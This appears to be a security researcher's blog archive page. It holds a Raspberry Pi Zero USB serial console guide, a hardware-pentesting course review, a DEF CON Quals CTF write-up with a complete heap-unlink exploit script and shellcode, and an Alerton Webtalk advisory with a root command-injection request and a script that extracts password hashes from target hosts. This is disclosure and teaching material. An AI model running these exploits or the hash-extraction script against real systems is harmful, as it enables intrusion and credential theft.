Pi Zero as a Serial Gadget

I just got a new Raspberry Pi Zero W (the wireless version) and didn’t feel like hooking it up to a monitor and keyboard to get started. I really just wanted a serial console for starters. Rather than solder in a header, I wanted to be really lazy, so decided to use the USB OTG support of the Pi Zero to provide a console over USB. It’s pretty straightforward, actually.

Install Raspbian on MicroSD

First off is a straightforward “install” of Raspbian on your MicroSD card. In my case, I used dd to image the img file from Raspbian to a MicroSD card in a card reader.

1
dd if=/home/david/Downloads/2017-04-10-raspbian-jessie-lite.img of=/dev/sde bs=1M conv=fdatasync

Mount the /boot partition

You’ll want to mount the boot partition to make a couple of changes. Before doing so, run partprobe to re-read the partition tables (or unplug and replug the SD card). Then mount the partition somewhere convenient.

1
2
partprobe
mount /dev/sde1 /mnt/boot

Edit /boot/config.txt

To use the USB port as an OTG port, you’ll need to enable the dwc2 device tree overlay. This is accomplished by adding a line to /boot/config.txt with dtoverlay=dwc2.

1
2
vim /mnt/boot/config.txt
(append dtoverlay=dwc2)

Edit /boot/cmdline.txt

Now we’ll need to tell the kernel to load the right module for the serial OTG support. Open /boot/cmdline.txt, and after rootwait, add modules-load=dwc2,g_serial.

1
2
vim /mnt/boot/cmdline.txt
(insert modules-load=dwc2,g_serial after rootwait)

When you save the file, make sure it is all one line, if you have any line wrapping options they may have inserted newlines into the file.

Mount the root (/) partition

Let’s switch the partition we’re dealing with.

1
2
umount /mnt/boot
mount /dev/sde2 /mnt/root

Enable a Console on /dev/ttyGS0

/dev/ttyGS0 is the serial port on the USB gadget interface. While we’ll get a serial port, we won’t have a console on it unless we tell systemd to start a getty (the process that handles login and starts shells) on the USB serial port. This is as simple as creating a symlink:

1
ln -s /lib/systemd/system/getty@.service /mnt/root/etc/systemd/system/getty.target.wants/getty@ttyGS0.service

This asks systemd to start a getty on ttyGS0 on boot.

Unmount and boot your Pi Zero

Unmount your SD card, insert the micro SD card into a Pi Zero, and boot with a Micro USB cable between your computer and the OTG port.

Connect via a terminal emulator

You can connect via the terminal emulator of your choice at 115200bps. The Pi Zero shows up as a “Netchip Technology, Inc. Linux-USB Serial Gadget (CDC ACM mode)”, which means that (on Linux) your device will typically be /dev/ttyACM0.

1
screen /dev/ttyACM0 115200

Conclusion

This is a quick way to get a console on a Raspberry Pi Zero, but it has downsides:

  • Provides only console, no networking.
  • File transfers are “difficult”.

Belden Garrettcom 6K/10K Switches: Auth Bypasses, Memory Corruption

Introduction

Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT (Magnum) series network switches. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive; observations suggest that it is likely that further vulnerabilities exist. It is strongly recommended that GarrettCom undertake a full whitebox security assessment of these switches.

The version under test was indicated as: 4.6.0. Belden Garrettcom released an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7: http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf

This is a local copy of an advisory posted to the Full Disclosure mailing list.

Applied Physical Attacks and Hardware Pentesting

This week, I had the opportunity to take Joe Fitzpatrick’s class “Applied Physical Attacks and Hardware Pentesting”. This was a preview of the course he’s offering at Black Hat this summer, and so it was in a bit of an unpolished state, but I actually enjoyed the fact that it was that way. I’ve taken a class with Joe before, back when he and Stephen Ridley of Xipiter taught “Software Exploitation via Hardware Exploitation”, and I’ve watched a number of his talks at various conferences, so I had high expectations of the course, and he didn’t disappoint.

Some basic knowledge of hardware & hardware pentesting is assumed. While you don’t need to be an electrical engineer (I’m not!) being familiar with how digital signals work (i.e., differential signals or signals referenced to a ground) is useful, and you should have some experience with at least connecting a UART to a device. If you don’t have any of this experience, I suggest taking his course “Applied Physical Attacks on Embedded Systems” before taking this class. (Which is the same recommendation Joe gives.)

During the course, a variety of topics are covered, including:

  • Identifying unknown chips (manufacturers sometimes grind the markings off chips or cover them in epoxy)
  • Identifying unknown protocols (what is a device speaking?)
  • “Speaking” custom protocols in hardware
  • Finding JTAG connections when they’re obvious – or not
  • Using JTAG on devices with unknown processors (i.e., no datasheet available)
  • Building custom hardware implants to carry out attacks
  • Assessing & articulating feasibility and costs of hardware risks

While more introductory courses typically point you at a COTS SOHO router or similar device as a target, this course uses two targets: one of them custom and one of them uses an unknown microcontroller. These are much more representative of product assessments or red teams as you’ll often be faced with new or undocumented targets, and so the lab exercises here translate well into these environments.

Joe really knows his stuff, and that much is obvious when you watch videos of him speaking or take any of his classes. He answered questions thoroughly and engaged the class in thoughtful discussion. There were “pen and paper” exercises where he encouraged the class to work in small groups and then we discussed the results, and it was interesting to see differing backgrounds approach the problem in different ways.

One of the mixed blessings of taking his “preview” course was that some of the labs did not go perfectly as planned. I call this a mixed blessing becase, although it made the labs take a little longer, I actually feel I learned more by debugging and by Joe’s responses to the parts that weren’t working correctly. It’s imporant to know that hardware hacking doesn’t always go smoothly, and this lesson was evident in the labs. Joe helped us work around each of the issues, and generally tried to explain what was causing the problems at each stage.

I learned a lot about looking at systems that have no documentation available and finding their flaws and shortcomings. Given the ever-increasing “Internet of Things” deployments, this kind of skillset will only become ever more useful to security practitioners, and Joe is an excellent instructor for the material.

DEF CON Quals 2017: beatmeonthedl

I played in the DEF CON quals CTF this weekend, and happened to find the challenge beatmeonthedl particularly interesting, even if it was in the “Baby’s First” category. (DC Quals Baby’s Firsts aren’t as easy as one might think…)

So we download the binary and take a look. I’m using Binary Ninja lately, it’s a great tool from the Vector35 guys, and at the right price compared to IDA for playing CTF. :) So I open up the binary, and notice a few things right away. This is an x86-64 ELF binary with essentially none of the standard security features enabled:

1
2
3
4
5
6
7
% checksec beatmeonthedl
[+] 'beatmeonthedl'
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE

Easy mode, right?

We’ll, let’s look at the binary and see if we can find a vulnerability. Looking at the binary, we can see it’s a pretty typical CTF binary, we can create, modify, delete, and print some notes. This has been seen many times in various forms.

At the beginning there’s a little twist, it prompts you for a username and password. It’s not hard to figure out what these should be, just take a look at the functions checkuser and checkpass. In checkuser you can see that the username should be mcfly. In checkpass, it’s interesting that the function copies the user input to an allocated buffer on the heap before checking the password, and all it checks is that it beings with the string awesnap. The memory chunk is not freed before continuing, and in fact, if you fail the login check, you will repeatedly get checks that allow you to continue writing to segments on the heap. The copies are correctly bounds-checked, so there’s no memory corruption here. I’m not sure what the point of copying to the heap is, as I didn’t need it to solve the level.

Let’s take a look at the add_request function that creates the new request entries. Looking through it, we see it allocates a chunk for the request entry and then reads your request into the allocated chunk. It took me a moment to notice that there’s something strange about the malloc and the respective read of the request, but I’ve highlighted the relevant lines for your ease.

malloc and read for new requests

Yep, it allocates 0x38 bytes and then reads 0x80 bytes into it. Well, that seems opportune, depending on what’s past the chunk I’m reading into. It doesn’t appear that his has any function pointers or vtable pointers (it appears to be pure C), so nothing like that to overwrite. Heap metadata corruption is a thing of the past, right? Well, if you notice that malloc is in blue and other functions (printf, read) are in orange, you might realize something. The malloc implementation being used by this binary is compiled into the program. A quick test does, in fact, show that this version of malloc does not appear to use any validation checks on the heap metadata:

1
2
3
4
pwndbg> x/i $rip
=> 0x40656c <free+1096>:	mov    rax,QWORD PTR [rax+0x8]
pwndbg> i r rax
rax            0x41414141425e51a0	0x41414141425e51a0

So it seems like we can use the unlink technique described by Solar Designer in 2000 to exploit heap metadata corruption via free. If you’re not familiar with the technique, there’s a more digestable version here. This technique allows you to write one pointer-sized value at one address of your choosing. (Obviously, if you want to try to write more than one, you can sometimes repeat the technique if the circumstances allow.) Basically, you want to allocate two consecutive blocks, overflow the first into the second in such a way that the 2nd meets some special properties, and then free the first chunk, causing the malloc implementation to attempt to coalesce the two free blocks into a bigger block and unlink the old “free” block. Our crafted block must:

  • Have zero size
  • Appear to be free (has the IN_USE bit cleared)
  • Appear as part of a linked list where the first pointer goes to your target address minus one pointer width (e.g., target-8 on x86-64).
  • Appear as part of a linked list where the second pointer is the value you want to write.

So if we know what we’re going to do, we should be done, right? Well, it’s not quite that simple – we still need to know what we’re going to write, and where we’re going to write it.

A common technique for this is to overwrite a pointer in the Global Offset Table (GOT). If you’re not familiar with the GOT, I’ve previously written about using the GOT and PLT for exploitation. Since there is no RELRO (Read-Only Relocations) on this binary, we can apply this technique here in a straightforward fashion. We can overwrite any function that will be called after the free occurs. For this binary, we can use any of several functions, but both puts and printf are excellent choices since they’re called in fairly short order (by printing the menu the next time).

So what do we write? Well, we want to point to some shellcode. But where is our shellcode? Since there’s not many places to put things on the stack and no globals, I guess it’ll have to be the heap. We do have ASLR to contend with, so we need a leak of a heap address. It took me a while to realize how we could get this, but then I hit upon it: by creating fragmentation within the heap, the malloc implementation will have placed pointers for the circular linked list of free blocks into the free blocks themselves. Then overflowing an adjacent block right up to the pointer, and printing the requests, we can get the value of the pointer. From that, we can round down to the start of the page and get the beginning of the heap area.

Finally, we just need to place some shellcode in one of our blocks. Note that many (all?) of the DEF CON Quals challenges ran in a seccomp sandbox that blocked the ability to use execve, so we’ll have to use a open/read/write shellcode.

Putting it all together (sorry, it’s a bit sloppy, didn’t have time to clean it up yet):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import pwn
from pwnlib.shellcraft import amd64

pwn.context.binary = './beatmeonthedl'

PAD = 'A'*48 + 'B'*8
CHUNK_SIZE = pwn.p64(0)
TARGET_ADDR = 0x609970 # printf@got
TARGET_ADDR_CHUNK = pwn.p64(TARGET_ADDR-24)

proc = None
#proc = pwn.process('./beatmeonthedl')
proc = proc or pwn.remote(
        'beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me',
        6969)

def login():
    proc.recvuntil('username: ')
    proc.sendline('mcfly')
    proc.recvuntil('Pass: ')
    proc.sendline('awesnap')

def menu(n):
    proc.recvuntil('| ')
    proc.sendline(str(n))

pwn.log.info('Login')
login()

pwn.log.info('Create')
for _ in xrange(4):
    menu(1)
    proc.recv()
    proc.sendline('foo')

pwn.log.info('Leak')
menu(3)
proc.recv()
proc.sendline(str(2))
menu(3)
proc.recv()
proc.sendline(str(0))
# alter 1
menu(4)
proc.recv()
proc.sendline(str(1))
proc.recv()
proc.send('Q'*72)
menu(2)
res = proc.recvuntil('3)')
res = res[72+3:-3]
slot_0 = pwn.u64(res+('\0'*(8-len(res))))
print 'Slot 0 probably: {:#08x}'.format(slot_0)

pwn.log.info('Setup chunk')
# reallocate 0
menu(1)
proc.recv()
proc.send('AAAA')

# shellcode in 3
menu(4)
proc.recv()
proc.send(str(3))
proc.recv()
shellcode = '\xeb\x20' + ('\x90'*32)
shellcode += pwn.asm(amd64.cat('flag'))
proc.send(shellcode)

# edit 0 with overwrite
menu(4)
proc.recv()
proc.send(str(0))
proc.recv()
val = (PAD+CHUNK_SIZE+TARGET_ADDR_CHUNK)
target = slot_0+16 + 3*0x40  # target slot 3
print 'Target addr: {:#08x}'.format(target)
val += pwn.p64(target)
proc.send(val)

pwn.log.info('Overwrite')
# trigger free of previous chunk to cause coalescing
menu(3)
proc.recv()
proc.sendline(str(0))

proc.interactive()

pwn.log.info('Exit')
# exit
menu(5)

Security Issues in Alerton Webtalk (Auth Bypass, RCE)

Introduction

Vulnerabilities were identified in the Alerton Webtalk Software supplied by Alerton. This software is used for the management of building automation systems. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive. Alerton has responded that Webtalk is EOL and past the end of its support period. Customers should move to newer products available from Alerton. Thanks to Alerton for prompt replies in communicating with us about these issues.

Versions 2.5 and 3.3 were both confirmed to be affected by these issues.

(This blog post is a duplicate of the advisory I sent to the full-disclosure mailing list.)

Webtalk-01 - Password Hashes Accessible to Unauthenticated Users

Severity: High

Password hashes for all of the users configured in Alerton Webtalk are accessible via a file in the document root of the ‘webtalk’ user. The location of this file is configuration dependent, however the configuration file is accessible as well (at a static location, /~webtalk/webtalk.ini). The password database is a sqlite3 database whose name is based on the bacnet rep and job entries from the ini file.

A python proof of concept to reproduce this issue is in an appendix.

Recommendation: Do not store sensitive data within areas being served by the webserver.

Webtalk-02 - Command Injection for Authenticated Webtalk Users

Severity: High

Any user granted the “configure webtalk” permission can execute commands as the root user on the underlying server. There appears to be some effort of filtering command strings (such as rejecting commands containing pipes and redirection operators) but this is inadequate. Using this vulnerability, an attacker can add an SSH key to the root user’s authorized_keys file.

1
2
3
4
5
6
7
8
9
10
11
12
GET
/~webtalk/WtStatus.psp?c=update&updateopts=&updateuri=%22%24%28id%29%22&update=True
HTTP/1.1
Host: test-host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: NID=...; _SID_=...; OGPC=...:
Connection: close
Upgrade-Insecure-Requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 20:34:26 GMT
Server: Apache
cache-control: no-cache
Set-Cookie: _SID_=...; Path=/;
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2801

...
uid=0(root) gid=500(webtalk) groups=500(webtalk)
...

Recommendation: User input should be avoided to shell commands. If this is not possible, shell commands should be properly escaped. Consider using one of the functions from the subprocess module without the shell=True parameter.

Webtalk-03 - Cross-Site Request Forgery

Severity: High

The entire Webtalk administrative interface lacks any controls against Cross-Site Request Forgery. This allows an attacker to execute administrative changes without access to valid credentials. Combined with the above vulnerability, this allows an attacker to gain root access without any credentials.

Recommendation: Implement CSRF tokens on all state-changing actions.

Webtalk-04 - Insecure Credential Hashing

Severity: Moderate

Password hashes in the userprofile.db database are hashed by concatenating the password with the username (e.g., PASSUSER) and performing a plain MD5 hash. No salts or iterative hashing is performed. This does not follow password hashing best practices and makes for highly practical offline attacks.

Recommendation: Use scrypt, bcrypt, or argon2 for storing password hashes.

Webtalk-05 - Login Flow Defeats Password Hashing

Severity: Moderate

Password hashing is performed on the client side, allowing for the replay of password hashes from Webtalk-01. While this only works on the mobile login interface (“PDA” interface, /~webtalk/pda/pda_login.psp), the resulting session is able to access all resources and is functionally equivalent to a login through the Java-based login flow.

Recommendation: Perform hashing on the server side and use TLS to protect secrets in transit.

Timeline

  • 2017/01/?? - Issues Discovered
  • 2017/01/26 - Issues Reported to security () honeywell com
  • 2017/01/30 - Initial response from Alerton confirming receipt.
  • 2017/02/04 - Alerton reports Webtalk is EOL and issues will not be fixed.
  • 2017/04/26 - This disclosure

Discovery

These issues were discovered by David Tomaschik of the Google ISA Assessments team.

Appendix A: Script to Extract Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import sys
import ConfigParser
import StringIO
import sqlite3
import tempfile
import os


def get_webtalk_ini(base_url):
    """Get the webtalk.ini file and parse it."""
    url = '%s/~webtalk/webtalk.ini' % base_url
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get webtalk.ini: %s', url)
    buf = StringIO.StringIO(r.text)
    parser = ConfigParser.RawConfigParser()
    parser.readfp(buf)
    return parser


def get_db_path(base_url, config):
    rep = config.get('bacnet', 'rep')
    job = config.get('bacnet', 'job')
    url = '%s/~webtalk/bts/%s/%s/userprofile.db'
    return url % (base_url, rep, job)


def load_db(url):
    """Load and read the db."""
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get %s.' % url)
    tmpfd, tmpname = tempfile.mkstemp(suffix='.db')
    tmpf = os.fdopen(tmpfd, 'w')
    tmpf.write(r.content)
    tmpf.close()
    con = sqlite3.connect(tmpname)
    cur = con.cursor()
    cur.execute("SELECT UserID, UserPassword FROM tblPassword")
    results = cur.fetchall()
    con.close()
    os.unlink(tmpname)
    return results


def users_for_server(base_url):
    if '://' not in base_url:
        base_url = 'http://%s' % base_url
    ini = get_webtalk_ini(base_url)
    db_path = get_db_path(base_url, ini)
    return load_db(db_path)


if __name__ == '__main__':
    for host in sys.argv[1:]:
        try:
            users = users_for_server(host)
        except Exception as ex:
            sys.stderr.write('%s\n' % str(ex))
            continue
        for u in users:
            print '%s:%s' % (u[0], u[1])